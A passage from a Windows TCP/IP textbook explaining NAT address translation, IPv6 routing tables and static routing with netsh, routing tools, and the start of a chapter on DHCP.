service provider (ISP). With a NAT, however, the small business can use private addressing and have
the NAT map its private addresses to a single or to multiple public IPv4 addresses.
NATs are a common solution for the following combination of requirements:
You want to leverage the use of a single connection, rather than connecting multiple computers, to the
Internet.
You want to use private addressing.
You want access to Internet resources without having to deploy a proxy server.
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 141
How Network Address Translation Works
When a private user on the small business intranet connects to an Internet resource, the TCP/IP
protocol on the user’s computer creates an IPv4 packet with the following values set in the IPv4 and
TCP or UDP headers (bold text indicates the fields that are affected by the NAT):
Destination IP Address: Internet resource IPv4 address
Source IP Address: Private IPv4 address
Destination Port: Internet resource TCP or UDP port
Source Port: Source application TCP or UDP port
The sending host or another router forwards this IPv4 packet to the NAT, which translates the
addresses of the outgoing packet as follows:
Destination IP Address: Internet resource IPv4 address
Source IP Address: ISP-allocated public IPv4 address
Destination Port: Internet resource TCP or UDP port
Source Port: Remapped source application TCP or UDP port
The NAT sends the modified IPv4 packet over the Internet. The responding computer sends back a
response to the NAT. When the NAT receives the packet, it contains the following addressing
information:
Destination IP Address: ISP-allocated public IPv4 address
Source IP Address: Internet resource IPv4 address
Destination Port: Remapped source application TCP or UDP port
Source Port: Internet resource TCP or UDP port
When the NAT translates the addresses and forwards the packet to the intranet client, the packet
contains the following addressing information:
Destination IP Address: Private IPv4 address
Source IP Address: Internet resource IPv4 address
Destination Port: Source application TCP or UDP port
Source Port: Internet resource TCP or UDP port
For outgoing packets, the source IPv4 address and TCP/UDP port numbers are mapped to a public
source IPv4 address and a possibly changed TCP/UDP port number. For incoming packets, the
destination IPv4 address and TCP/UDP port numbers are mapped to the private IPv4 address and
original TCP/UDP port number.
For example a small business is using the 192.168.0.0/24 private address prefix for its intranet and its
ISP has allocated it a single public IPv4 address of 131.107.0.1. When a user with the private address
192.168.0.99 on the small business intranet connects to a Web server at the IPv4 address 157.60.0.1,
the user's TCP/IP protocol creates an IPv4 packet with the following values set in the IPv4 and TCP
headers:
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 142
Destination IPv4 Address: 157.60.0.1
Source IPv4 Address: 192.168.0.99
TCP Destination Port: 80
TCP Source Port: 1025
The source host forwards this IPv4 packet to the NAT, which translates the addresses of the outgoing
packet as follows:
Destination IPv4 Address: 157.60.0.1
Source IPv4 Address: 131.107.0.1
TCP Destination Port: 80
TCP Source Port: 5000
The NAT sends the modified IPv4 packet over the Internet. The Web server sends back a response to
the NAT. When the NAT receives the response, the packet contains the following addressing
information:
Destination IPv4 Address: 131.107.0.1
Source IPv4 Address: 157.50.0.1
TCP Destination Port: 5000
TCP Source Port: 80
When the NAT translates the addresses and forwards the packet to the intranet client, the packet
contains the following addressing information:
Destination IPv4 Address: 192.168.0.99
Source IPv4 Address: 157.60.0.1
TCP Destination Port: 1025
TCP Source Port: 80
Figure 5-9 shows how the NAT translates incoming traffic for the configuration in this example.
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 143
Figure 5-9 An example of how a NAT translates incoming traffic
The mappings for private to public traffic are stored in a NAT translation table, which can contain two
types of entries:
Dynamic mappings
Created when private network clients initiate communications. Dynamic mappings are removed
from the table after a specified amount of time, unless traffic that corresponds to an entry refreshes
it.
Static mappings
Configured manually so that communications initiated by Internet clients can be mapped to a
specific private network address and port. Static mappings are needed when there are servers (for
example, Web servers) or applications (for example, games) on the private network that you want
to make available to computers that are connected to the Internet. Static mappings are not
automatically removed from the NAT translation table.
The NAT forwards traffic from the Internet to the private network only if a mapping exists in the NAT
translation table. In this way, the NAT provides some protection for computers that are connected to
private network segments. However, you should not use a NAT in place of a fully featured firewall when
Internet security is a concern.
Windows Vista and Windows XP include network address translation capabilities with the Internet
Connection Sharing feature in the Network Connections folder. Windows Server 2008 also includes
network address translation capabilities with the NAT component of Routing and Remote Access.
Windows Server 2003 also includes network address translation capabilities with the NAT/Basic
Firewall component of Routing and Remote Access.
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 144
IPv6 Routing
An IPv6 network consists of multiple IPv6 subnets interconnected by IPv6 routers. To provide
reachability to any arbitrary location on the IPv6 network, routes must exist on sending hosts and
routers to forward the traffic to the intended destination. These routes can either be general routes,
such as a default route that summarizes all locations, or specific routes, such as subnet routes that
summarize all locations on a specific subnet.
Hosts typically use directly attached subnet routes to reach neighboring nodes and a default route to
reach all other locations. Routers typically use specific routes to reach all locations within their sites and
summary routes to reach other sites or the Internet. Although Router Advertisement messages
automatically configure hosts with directly attached or remote subnet routes and a default route,
configuring routers is more complex. You can configure a router with static routes or with routing
protocols for dynamic routes.
Similar to IPv4 nodes, typical IPv6 nodes use a local IPv6 routing table to determine how to forward
packets. IPv6 routing table entries are created by default when IPv6 initializes, and entries are added
either through manual configuration or by the receipt of Router Advertisement messages containing on-
link prefixes and routes.
IPv6 Routing Tables
A routing table is present on all nodes running the IPv6 protocol component of Windows. The routing
table stores information about IPv6 address prefixes and how they can be reached (either directly or
indirectly). Before checking the IPv6 routing table, IPv6 checks the destination cache for an entry
matching the destination address in the IPv6 packet being forwarded. If the destination cache does not
contain an entry for the destination address, IPv6 uses the routing table to determine:
The interface used for the forwarding (the next-hop interface)
The interface identifies the physical or logical interface that is used to forward the packet to either
its destination or the next router.
The next-hop IPv6 address
For a direct delivery (in which the destination is on a local link), the next-hop address is the
destination IPv6 address in the packet. For an indirect delivery (in which the destination is not on a
local link), the next-hop IPv6 address is the address of a router.
After the next-hop interface and address are determined, IPv6 updates the destination cache. IPv6
forwards subsequent packets addressed to the destination by using the destination cache entry, rather
than checking the routing table.
IPv6 Routing Table Entry Types
IPv6 routing table entries can store the following types of routes:
Directly attached subnet routes
These routes are subnet prefixes for subnets that are directly attached and typically have a 64-bit
prefix length.
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 145
Remote subnet routes
Remote subnet routes can be subnet prefixes (typically with a 64-bit prefix length) or prefixes that
summarize an address space (typically with a prefix length less than 64).
Host routes
For IPv6 host routes, the route prefix is a specific IPv6 address with a 128-bit prefix length. In
contrast, both types of subnet routes have prefixes that have a prefix length of 64 bits or less.
Default route
The IPv6 default route prefix is ::/0.
Route Determination Process
To determine which routing table entry is used for the forwarding decision, IPv6 on an IPv6 router uses
the following process:
1. For each entry in a routing table, compare the bits in the address prefix to the same bits in the
destination address for the number of bits indicated in the prefix length of the route. If all the bits in
the address prefix match all the bits in the destination IPv6 address, the route is a match for the
destination.
2. Compile the list of matching routes and choose the route that has the largest prefix length (the route
that matched the most high-order bits with the destination address). The longest matching route is
the most specific route to the destination. If multiple entries with the longest match are found (multiple
routes to the same address prefix, for example), the router uses the lowest metric to select the best
route. If multiple entries exist that are the longest match and the lowest metric, IPv6 can choose
which routing table entry to use.
For any given destination, this procedure finds matching routes in the following order:
1. A host route that matches the entire destination address
2. A subnet or summarized route with the longest prefix length that matches the destination
3. The default route (the address prefix ::/0)
When the route determination process is complete, IPv6 has selected a single route in the routing table.
The selected route yields a next-hop interface and address. If the sending host fails to find a route, IPv6
assumes that the destination is locally reachable. If a router fails to find a route, IPv6 sends an Internet
Control Message Protocol for IPv6 (ICMPv6) Destination Unreachable-No Route to Destination
message to the sending host and discards the packet.
On an IPv6 sending host, the entries in the routing table that are used for route determination depend
on whether the host supports strong host send behavior. Hosts running Windows Vista, Windows XP,
Windows Server 2008, or Windows Server 2003 support strong host sends. For more information, see
Strong and Weak Host Models.
Example Windows IPv6 Routing Table
To view the IPv6 routing table on a computer running Windows, type route print or netsh interface
ipv6 show routes at a command prompt. Here is the abbreviated display of the netsh interface ipv6
show routes command for a computer that has three network adapters, that is acting as a default
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 146
router for two subnets configured with global address prefixes, and that has a default route pointing to a
default router on a third subnet:
Publish Type Met Prefix Idx Gateway/Interface Name
------- -------- ---- ------------------------ --- ------------------------
yes Autoconf 8 2001:db8:0:1::/64 4 Local Area Connection
yes Autoconf 8 2001:db8:0:2::/64 5 Local Area Connection 2
yes Autoconf 8 2001:db8:0:3::/64 6 Local Area Connection 3
yes Manual 256 ::/0 6 fe80::210:ffff:fed6:58c0
Each entry in the IPv6 routing table has the following fields:
Whether the route is published (advertised in a Routing Advertisement message).
The route type. Routes that user applications configure have the route type of Manual. Routes that the
IPv6 protocol configures have the route type of Autoconf.
A metric used to select between multiple routes with the same prefix. The lowest metric is the most
desirable closest matching route.
The prefix.
The interface index, which indicates the interface over which packets matching the address prefix are
reachable.
You can view the interface indexes from the display of the netsh interface ipv6 show interface
command.
A next-hop IPv6 address or an interface name.
For remote subnet routes, a next-hop IPv6 address is listed. For directly attached subnet routes,
the name of the interface from which the address prefix is directly reachable is listed.
The IPv6 routing table is built automatically, based on the current IPv6 configuration of your computer.
A route for the link-local prefix (FE80::/64) is never present in the IPv6 routing table.
The first, second, and third routes are for the 64-bit global address prefixes of locally attached subnets.
An Ethernet network adapter named Local Area Connection (interface index 4) is connected to the
subnet 2001:DB8:0:1::/64. A second Ethernet network adapter named Local Area Connection 2
(interface index 5) is connected to the subnet 2001:DB8:0:2::/64. A third Ethernet network adapter
named Local Area Connection 3 (interface index 6) is connected to the subnet 2001:DB8:0:3::/64.
The fourth route is the default route (prefix of ::/0). The default route matches all destinations. If the
default route is the longest matching route for the destination, the packet is forwarded to the IPv6
address FE80::210:FFFF:FED6:58C0 by using the Ethernet network adapter named Local Area
Connection 3 (interface index 6).
When determining the next-hop IPv6 address from a route in the routing table, IPv6 does the following:
If the Gateway/Interface Name column of the routing table entry indicates an interface name, the
destination is a neighbor, and IPv6 sets the next-hop address to the destination address of the IPv6
packet.
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 147
If the Gateway/Interface Name column of the routing table entry indicates an address (the address of a
neighboring router), the destination is remote, and IPv6 sets the next-hop address to the address in the
Gateway/Interface Name column.
For example, when traffic is sent to 2001:DB8:0:2:2AA:FF:FE90:4D3C, the longest matching route is
the route for the directly attached subnet 2001:DB8:0:2::/64. The forwarding IP address is set to the
destination address of 2001:DB8:0:2:2AA:FF:FE90:4D3C, and the interface is the interface that
corresponds to interface index 5 (the Ethernet network adapter named Local Area Connection 2). When
traffic is sent to 2001:DB8:0:9:2AA:FF:FE03:21A6, the longest matching route is the default route (::/0).
The forwarding IP address is set to the router address of FE80::210:FFFF:FED6:58C0, and the
interface is the interface that corresponds to interface index 6 (the Ethernet network adapter named
Local Area Connection 3).
IPv6 Routing Protocols
The following routing protocols are defined for IPv6:
RIPng for IPv6
OSPF for IPv6
Integrated Intermediate System-to-Intermediate System (IS-IS) for IPv6
BGP-4
Inter-Domain Routing Protocol version 2 (IDRPv2)
RIPng for IPv6
RIP Next Generation (RIPng) is a distance vector routing protocol for IPv6 that is defined in RFC 2080.
RIPng for IPv6 is an adaptation of the RIP v2 protocol—defined in RFC 1723—to advertise IPv6
address prefixes. RIPng for IPv6 uses UDP port 521 to periodically advertise its routes, respond to
requests for routes, and advertise route changes.
RIPng for IPv6 has a maximum distance of 15, in which 15 is the accumulated cost (hop count).
Locations that are a distance of 16 or further are considered unreachable. RIPng for IPv6 is a simple
routing protocol with a periodic route-advertising mechanism designed for use in small- to medium-
sized IPv6 networks. RIPng for IPv6 does not scale well to a large or very large IPv6 network.
OSPF for IPv6
OSPF for IPv6 is a link state routing protocol defined in RFC 2740 and designed for routing table
maintenance within a single autonomous system. OSPF for IPv6 is an adaptation of the OSPF routing
protocol version 2 for IPv4 defined in RFC 2328. The OSPF cost of each router link is a unitless number
that the network administrator assigns, and it can include delay, bandwidth, and monetary cost factors.
The accumulated cost between network segments in an OSPF network must be less than 65,535.
OSPF messages are sent as upper layer protocol data units (PDUs) using the next header value of 89.
Integrated IS-IS for IPv6
Integrated IS-IS, also known as dual IS, is a link state routing protocol that is very similar to OSPF and
that is defined in International Standards Organization (ISO) document 10589. IS-IS supports both IPv4
and Connectionless Network Protocol (CLNP) (the Network layer of the Open Systems Interconnection
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 148
[OSI] protocol suite). IS-IS allows two levels of hierarchical scaling, whereas OSPF allows only one
(areas).
A detailed explanation of Integrated IS-IS for IPv6 is beyond the scope of this chapter. For more
information, see ISO 10589 and the Internet draft titled "Routing IPv6 with IS-IS."
BGP-4
Border Gateway Protocol Version 4 (BGP-4) is a path vector routing protocol defined in RFC 4271.
Unlike RIPng for IPv6 and OSPF for IPv6, which are used within an autonomous system, BGP-4 is
designed to exchange routing information between autonomous systems. BGP-4 routing information is
used to create a logical path tree, which describes all the connections between autonomous systems.
The path tree information is then used to create loop-free routes in the routing tables of BGP-4 routers.
BGP-4 messages are sent using TCP port 179. BGP-4 is the primary inter-domain protocol used to
maintain routing tables on the IPv4 Internet.
BGP-4 has been defined to be independent of the address family for which routing information is being
propagated. For IPv6, BGP-4 has been extended to support IPv6 address prefixes as described in
RFCs 2545 and 4760.
A detailed explanation of BGP-4 for IPv6 is beyond the scope of this chapter. For more information, see
RFCs 4271, 2545, and 4760.
IPv6 Route Aggregation and Summarization
Just like in IPv4, you can aggregate or summarize IPv6 routing information at boundaries of address
spaces. The best examples are the 48-bit address prefixes that IANA or an ISP assigns to the individual
sites of an organization. The 48-bit prefix summarizes all the addresses used within the site. The 64-bit
prefixes that correspond to individual subnets within the site are not advertised outside the site.
Within the site, organizations are free to use any route aggregation scheme they want within the 16-bit
Subnet ID field of the IPv6 global address format. Figure 5-10 shows an example.
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 149
Figure 5-10 An example of route aggregation for an IPv6 unicast address prefix
Windows Support for IPv6 Static Routing
The IPv6 protocol component of Windows supports static routing. You can configure a computer
running Windows as a static IPv6 router by enabling forwarding on the computer's interfaces and then
configuring it to advertise subnet prefixes to local hosts.
Figure 5-11 shows an example network using a simple static routing configuration. The configuration
consists of three subnets, three host computers running Windows (Host A, Host B, and Host C), and
two router computers running Windows (Router 1 and Router 2).
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 150
Figure 5-11 Static routing example with the IPv6 protocol component of Windows
After the IPv6 protocol is installed on all computers on this example network, you must enable
forwarding and advertising over the two network adapters of Router 1 and Router 2. Use the following
command:
netsh interface ipv6 set interface InterfaceNameOrIndex forwarding=enabled advertise=enabled
in which InterfaceNameorIndex is the name of the network connection in the Network Connections
folder or the interface index number from the display of the netsh interface ipv6 show interface
command. You can use either the interface name or its index number. In Windows Server 2008, you
can also use the Routing and Remote Access snap-in to enable IPv6 routing.
For example, for Router 1, if the interface index of the network adapter connected to Subnet 1 is 4 and
the interface index of the network adapter connected to Subnet 2 is 5, the commands would be:
netsh int ipv6 set interface 4 forwarding=enabled advertise=enabled
netsh int ipv6 set interface 5 forwarding=enabled advertise=enabled
After you enable forwarding and advertising, you must configure the routers with the address prefixes
for their attached subnets. For the IPv6 in Windows, you do this by adding routes to the router's routing
table with instructions to advertise the route. Use the following command:
netsh interface ipv6 set route Address/PrefixLength InterfaceNameOrIndex publish=yes
in which Address is the address portion of the prefix and PrefixLength is the prefix length portion of the
prefix. To publish a route (to include it in a router advertisement), you must specify publish=yes.
For example, for Router 1 using the example interface indexes, the commands are:
netsh int ipv6 set route 2001:DB8:0:1::/64 4 publish=yes
netsh int ipv6 set route 2001:DB8:0:2::/64 5 publish=yes
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 151
The result of this configuration is the following:
Router 1 sends Router Advertisement messages on Subnet 1. These messages contain a Prefix
Information option to autoconfigure addresses for Subnet 1 (2001:DB8:0:1::/64), a Maximum
Transmission Unit (MTU) option for the link MTU of Subnet 1, and a Route Information option for the
subnet prefix of Subnet 2 (2001:DB8:0:2::/64).
Router 1 sends Router Advertisement messages on Subnet 2. These messages contain a Prefix
Information option to autoconfigure addresses for Subnet 2 (2001:DB8:0:2::/64), an MTU option for the
link MTU of Subnet 2, and a Route Information option for the subnet prefix of Subnet 1
(2001:DB8:0:1::/64).
When Host A receives the Router Advertisement message, the host automatically configures a global
address on its network adapter interface with the prefix 2001:DB8:0:1::/64 and an Extended Unique
Identifier (EUI)-64-derived interface identifier. The host also adds a route for the locally attached Subnet
1 (2001:DB8:0:1::/64) and a route for Subnet 2 (2001:DB8:0:2::/64) with the next-hop address of the
link-local address of Router 1's interface on Subnet 1 to its routing table.
When Host B receives the Router Advertisement message, the host automatically configures a global
address on its network adapter interface with the prefix 2001:DB8:0:2::/64 and an EUI-64-derived
interface identifier. The host also adds a route for the locally attached Subnet 2 (2001:DB8:0:2::/64) and
a route for Subnet 1 (2001:DB8:0:1::/64) with the next-hop address of the link-local address of Router
1's interface on Subnet 2 to its routing table.
In this configuration, Router 1 does not advertise itself as a default router (the Router Lifetime field in
the Router Advertisement message is set to 0), and the routing tables of Host A and Host B do not
contain default routes. A computer running the IPv6 protocol component for Windows Server 2003 or
Windows XP will not advertise itself as a default router unless a default route is configured to be
published.
To continue this example configuration, the interface index of Router 2's network adapter connected to
Subnet 2 is 4, and the interface index of Router 2's network adapter connected to Subnet 3 is 5. To
provide connectivity between Subnet 2 and Subnet 3, you would issue the following commands on
Router 2:
netsh int ipv6 set interface 4 forwarding=enabled advertise=enabled
netsh int ipv6 set interface 5 forwarding=enabled advertise=enabled
netsh int ipv6 set route 2001:DB8:0:2::/64 4 publish=yes
netsh int ipv6 set route 2001:DB8:0:3::/64 5 publish=yes
The result of this configuration is the following:
Router 2 sends Router Advertisement messages on Subnet 2. These messages contain a Prefix
Information option to autoconfigure addresses for Subnet 2 (2001:DB8:0:2::/64), an MTU option for the
link MTU of Subnet 2, and a Route Information option for the subnet prefix of Subnet 3
(2001:DB8:0:3::/64).
Router 2 sends Router Advertisement messages on Subnet 3. These messages contain a Prefix
Information option to autoconfigure addresses for Subnet 3 (2001:DB8:0:3::/64), an MTU option for the
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 152
link MTU of Subnet 3, and a Route Information option for the subnet prefix of Subnet 2
(2001:DB8:0:2::/64).
When Host B receives the Router Advertisement message from Router 2, the host does not
automatically configure a global address using the 2001:DB8:0:2::/64 prefix, because a global address
with that prefix already exists. Host B also adds a route for Subnet 3 (2001:DB8:0:3::/64) with the next-
hop address of the link-local address of Router 2's interface on Subnet 2 to its routing table.
When Host C receives the Router Advertisement message, the host automatically configures a global
address on its network adapter interface with the prefix 2001:DB8:0:3::/64 and an EUI-64-derived
interface identifier. It also adds a route for the locally attached subnet (Subnet 3) (2001:DB8:0:3::/64)
and a route for Subnet 2 (2001:DB8:0:2::/64) with the next-hop address of the link-local address of
Router 2's interface on Subnet 3 to its routing table.
The result of this configuration is that, although Host B can communicate with both Host A and Host C,
Host A and Host C cannot communicate because Host A has no routes to Subnet 3 and Host C has no
routes to Subnet 1. You can solve this problem in either of two ways:
Configure Router 1 to publish a route to Subnet 3 with the next-hop address of Router 2's link-local
address on Subnet 2, and configure Router 2 to publish a route to Subnet 1 with the next-hop address
of Router 1's link-local address on Subnet 2.
Configure Router 1 to publish a default route with the next-hop address of Router 2's link-local address
on Subnet 2, and configure Router 2 to publish a default route with the next-hop address of Router 1's
link-local address on Subnet 2.
For the first solution, Router 1 will advertise two Route Information options on Subnet 1—one for
Subnet 2 and one for Subnet 3. Therefore, Host A will add two routes to its routing table—one for
2001:DB8:0:2::/64 and 2001:DB8:0:3::/64. Router 1 will continue to advertise only one Route
Information option (for Subnet 1) on Subnet 2. Similarly, Router 2 will advertise two Route Information
options on Subnet 3—one for Subnet 1 and one for Subnet 2. Therefore, Host C will add two routes to
its routing table—one for 2001:DB8:0:1::/64 and 2001:DB8:0:2::/64. Router 2 will continue to advertise
only one Route Information option (for Subnet 3) on Subnet 2. The result of this configuration is that all
the hosts and all the routers have specific routes to all the subnets.
For the second solution, Router 1 will advertise itself as a default router with one Route Information
option (for Subnet 2) on Subnet 1. Therefore, Host A will add two routes to its routing table—one for the
default route ::/0 and one for 2001:DB8:0:2::/64. Similarly, Router 2 will advertise itself as a default
router with one Route Information option (for Subnet 2) on Subnet 3. Therefore, Host C will add two
routes to its routing table—one for the default route ::/0 and one for 2001:DB8:0:2::/64. The result of this
configuration is that all the hosts and all the routers have a combination of specific and general routes
to all the subnets, with the exception of Host B, which has only specific routes to all the subnets. The
problem with solution 2 is that Router 1 and Router 2 have default routes pointing to each other. Any
non-link-local traffic sent from Host A or Host C that does not match the prefix 2001:DB8:0:1::/64,
2001:DB8:0:2::/64, or 2001:DB8:0:3::/64 is sent in a routing loop between Router 1 and Router 2.
You could extend this network of three subnets and two routers to include more subnets and more
routers. However, the administrative overhead to manage the configuration of the static routers does
not scale. At some point, you would want to use an IPv6 routing protocol.
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 153
Configuring Hosts for IPv6 Routing
IPv6 hosts are configured for routing through the router discovery process, which requires no
configuration. When an initializing IPv6 host receives a Router Advertisement message, IPv6
automatically configures the following:
On-link subnet prefixes that correspond to autoconfiguration address prefixes contained within the
Router Advertisement message.
Off-link subnet prefixes that correspond to specific routes contained within the Router Advertisement
message.
A default route, if the router sending the Router Advertisement message is advertising itself as a default
router.
Because the typical IPv6 host is automatically configuring all the routes that it typically needs to forward
packets to an arbitrary destination, you do not need to configure routes on IPv6 hosts.
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 154
Routing Tools
Windows includes the following command-line utilities that you can use to test reachability and routing
and to maintain the routing tables:
Route
Displays the local IPv4 and IPv6 routing tables. You can use the Route tool to add temporary and
persistent routes, change existing routes, and remove routes from the IPv4 routing table. You can
use the Route tool in Windows Vista and Windows Server 2008 to add routes, change existing
routes, and remove routes from the IPv6 routing table.
Netsh interface ipv6
Displays the IPv6 routing table (netsh interface ipv6 show routes), adds routes (netsh interface
ipv6 add route), removes routes (netsh interface ipv6 delete route), and modifies existing routes
(netsh interface ipv6 set route).
Ping
Verifies IP-level connectivity to another TCP/IP computer by sending either ICMP Echo or ICMPv6
Echo Request messages. The tool displays the receipt of corresponding Echo Reply messages,
along with round-trip times. Ping is the primary TCP/IP tool used to troubleshoot connectivity,
reachability, and name resolution.
Tracert
Determines the path taken to a destination by sending ICMP Echo or ICMPv6 Echo Request
messages to the destination with incrementally increasing Time to Live (TTL) or Hop Count field
values. The path displayed is the list of near-side router interfaces of the routers in the path
between a source host and a destination. The near-side interface is the interface of the router that
is closest to the sending host in the path.
Pathping
Provides information about network latency and network loss at intermediate hops between a
source and a destination. Pathping sends multiple ICMP Echo or ICMPv6 Echo Request messages
to each router between a source and destination over a period of time and then computes results
based on the packets returned from each router. Because Pathping displays the degree of packet
loss at any given router or link, you can determine which routers or links might be having network
problems.
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 155
Chapter Summary
The chapter includes the following pieces of key information:
IP routing is the process of forwarding a packet based on the destination IP address. IP uses a routing
table to determine the next-hop IP address and interface for a packet being sent or forwarded.
IP routing is a combination of direct and indirect deliveries. Direct delivery occurs when the IP node
forwards a packet to the final destination on a directly attached subnet, and indirect delivery occurs
when the IP node forwards a packet to an intermediate router.
Static routing relies on the manual administration of the routing table. Dynamic routing relies on routing
protocols, such as RIP and OSPF, to dynamically update the routing table through the exchange of
routing information between routers.
The TCP/IP component of Windows uses a local IPv4 routing table to determine the route used to
forward the packet. From the chosen route, the next-hop IPv4 address and interface are determined.
IPv4 hands the packet to ARP to resolve the next-hop address to a MAC address and send the packet.
You can use the route print command to view the IPv4 routing table for the TCP/IP component of
Windows.
Rather than use routes for the address prefixes of every subnet in your network, you can use route
summarization to advertise a summarized address prefix that includes all the subnets in a specific
region of your network.
An IPv4 host is configured with a default gateway. IPv4 static routers are configured with either subnet
routes or summarized routes. IPv4 dynamic routers are configured with the settings that allow them to
exchange routing information with neighboring routers.
A network address translator (NAT) is an IPv4 router that can translate the IP addresses and TCP/UDP
port numbers of packets as they are forwarded. A NAT allows a small network to share a single public
IPv4 address.
The IPv6 component of Windows uses a local IPv6 routing table to determine the route used to forward
the packet. From the chosen route, IPv6 determines the next-hop IPv6 address and interface. IPv6
hands the packet to the Neighbor Discovery process to resolve the next-hop address to a MAC address
and send the packet. You can use the route print or netsh interface ipv6 show routes command to
view the routing table for the IPv6 component of Windows.
IPv6 hosts automatically configure themselves with routing information based on the receipt of Router
Advertisement messages. You must use netsh interface ipv6 commands to manually enable and
configure routers running the IPv6 component of Windows to advertise address prefixes and routes.
You use the Route and Netsh tools to manage IP routing tables. You use the Ping tool to test basic
reachability. You use the Tracert tool to show the path that a packet takes from source to a destination.
You use the Pathping tool to test for link and router reliability in a path from a source to a destination.
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 156
Chapter Glossary
default gateway – A configuration parameter for TCP/IP in Windows that is the IPv4 address of a
neighboring IPv4 router. Configuring a default gateway creates a default route in the IPv4 routing table.
default route – A route that summarizes all possible destinations and is used for forwarding when the
routing table does not contain any other more specific routes for the destination. For example, if a
router or sending host cannot find a subnet route, a summarized route, or a host route for the
destination, IP selects the default route. The default route is used to simplify the configuration of hosts
and routers. For IPv4 routing tables, the default route is the route with the network destination of 0.0.0.0
and netmask of 0.0.0.0. For IPv6 routing tables, the default route has the address prefix ::/0.
direct delivery – The delivery of an IP packet by an IP node to the final destination on a directly
attached subnet.
distance vector – A routing protocol technology that propagates routing information in the form of an
address prefix and its “distance” (hop count).
host route – A route to a specific IP address. Host routes allow packets to be routed on a per-IP
address basis. For IPv4 host routes, the route prefix is a specific IPv4 address with a 32-bit prefix
length. For IPv6 host routes, the route prefix is a specific IPv6 address with a 128-bit prefix length.
indirect delivery – The delivery of an IP packet by an IP node to an intermediate router.
link state – A routing protocol technology that exchanges routing information consisting of a router’s
attached subnet prefixes and their assigned costs. Link state information is advertised upon startup and
when changes in the network topology are detected.
longest matching route – The algorithm used to select the routes in the routing table that most closely
match the destination address of the packet being sent or forwarded.
NAT – See network address translator (NAT).
network address translator (NAT) – An IPv4 router that translates addresses and ports when forwarding
packets between a privately addressed network and the Internet.
next-hop determination – The process of determining the next-hop address and interface for sending or
forwarding a packet, based on the contents of the routing table.
Open Shortest Path First (OSPF) – A link state-based routing protocol for use within a single
autonomous system. An autonomous system is a portion of the network under the same administrative
authority.
OSPF – See Open Shortest Path First (OSPF).
path vector – A routing protocol technology that exchanges sequences of hop information that indicate
the path for a route. For example, BGP-4 exchanges sequences of autonomous system numbers.
RIP – See Routing Information Protocol (RIP).
route determination process – The process of determining which single route in the routing table to use
for forwarding a packet.
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 157
route summarization – The practice of using address prefixes to summarize the address spaces of
regions of a network, rather than using the routes for individual subnets.
router – An IPv4 or IPv6 node that can forward received packets that are not addressed to itself (also
called a gateway for IPv4).
Router Advertisement – For IPv4, a message sent by a router that supports ICMP router discovery. For
IPv6, an IPv6 Neighbor Discovery message sent by a router that typically contains at least one Prefix
Information option, from which hosts create stateless autoconfigured unicast IPv6 addresses and
routes.
router discovery – For IPv4, the ability of hosts to automatically configure and reconfigure a default
gateway. For IPv6, a Neighbor Discovery process in which a host discovers the neighboring routers on
an attached link.
Routing Information Protocol (RIP) – A distance vector-based routing protocol used in small and
medium sized networks.
routing protocols – A series of periodic or on-demand messages that contain routing information that is
exchanged between dynamic routers.
routing table – The set of routes used to determine the next-hop address and interface for IP traffic sent
by a host or forwarded by a router.
static routing – The use of manually configured routes in the routing tables of routers.
supernetting – The obsolete use of route summarization to assign blocks of Class C address prefixes
on the Internet.
Chapter 5 – IP Routing
TCP/IP Fundamentals for Microsoft Windows
Page: 158
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 159
Chapter 6 – Dynamic Host Configuration Protocol
Abstract
This chapter describes the details of the Dynamic Host Configuration Protocol (DHCP) and its use to automatically
allocate unique IPv4 address configurations to DHCP client computers. Network administrators must understand how
DHCP works so that they can correctly configure the components of a DHCP infrastructure to allocate IPv4 addresses
and other configuration options for DHCP clients on one or more subnets. This chapter also describes how IPv6 hosts
use address autoconfiguration and the DHCP for IPv6 (DHCPv6) protocol and how you can manage IP configuration
with the Ipconfig tool.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 160
Chapter Objectives
After completing this chapter, you will be able to:
Describe the function of DHCP.
Explain how DHCP works.
Install and configure the DHCP Server service.
Configure a DHCP scope, a superscope, and scope options.
Describe the function of DHCP user and vendor classes.
Install and configure a DHCP relay agent.
Describe how IPv6 address autoconfiguration works.
Describe how DHCPv6 works.
Configure a DHCPv6 scope.
Install and configure a DHCPv6 relay agent.
Use the Ipconfig tool to view IP configurations and to manage DHCP-allocated IPv4 address
configurations.
Chapter 6 – Dynamic Host Configuration Protocol
TCP/IP Fundamentals for Microsoft Windows
Page: 161
DHCP Overview
DHCP is a TCP/IP standard that reduces the complexity and administrative overhead of managing
network client IPv4 addresses and other configuration parameters. A properly configured DHCP
infrastructure eliminates the configuration problems associated with manually configuring TCP/IP.
A DHCP infrastructure consists of the following elements:
DHCP servers
Computers that offer dynamic configuration of IPv4 addresses and related configuration parameters
to DHCP clients.
DHCP clients
Network nodes that support the ability to communicate with a DHCP server to obtain a dynamically
leased IPv4 address and related configuration parameters.
DHCP relay agents
Network nodes, typically routers, that listen for broadcast and unicast DHCP messages and relay
them between DHCP servers and DHCP clients. Without DHCP relay agents, you would have to
install a DHCP server on each subnet that contains DHCP clients.
Each time a DHCP client starts, it requests IPv4 addressing information from a DHCP server, including:
IPv4 address
Subnet mask
Additional configuration parameters, such as a default gateway address, Domain Name System (DNS)
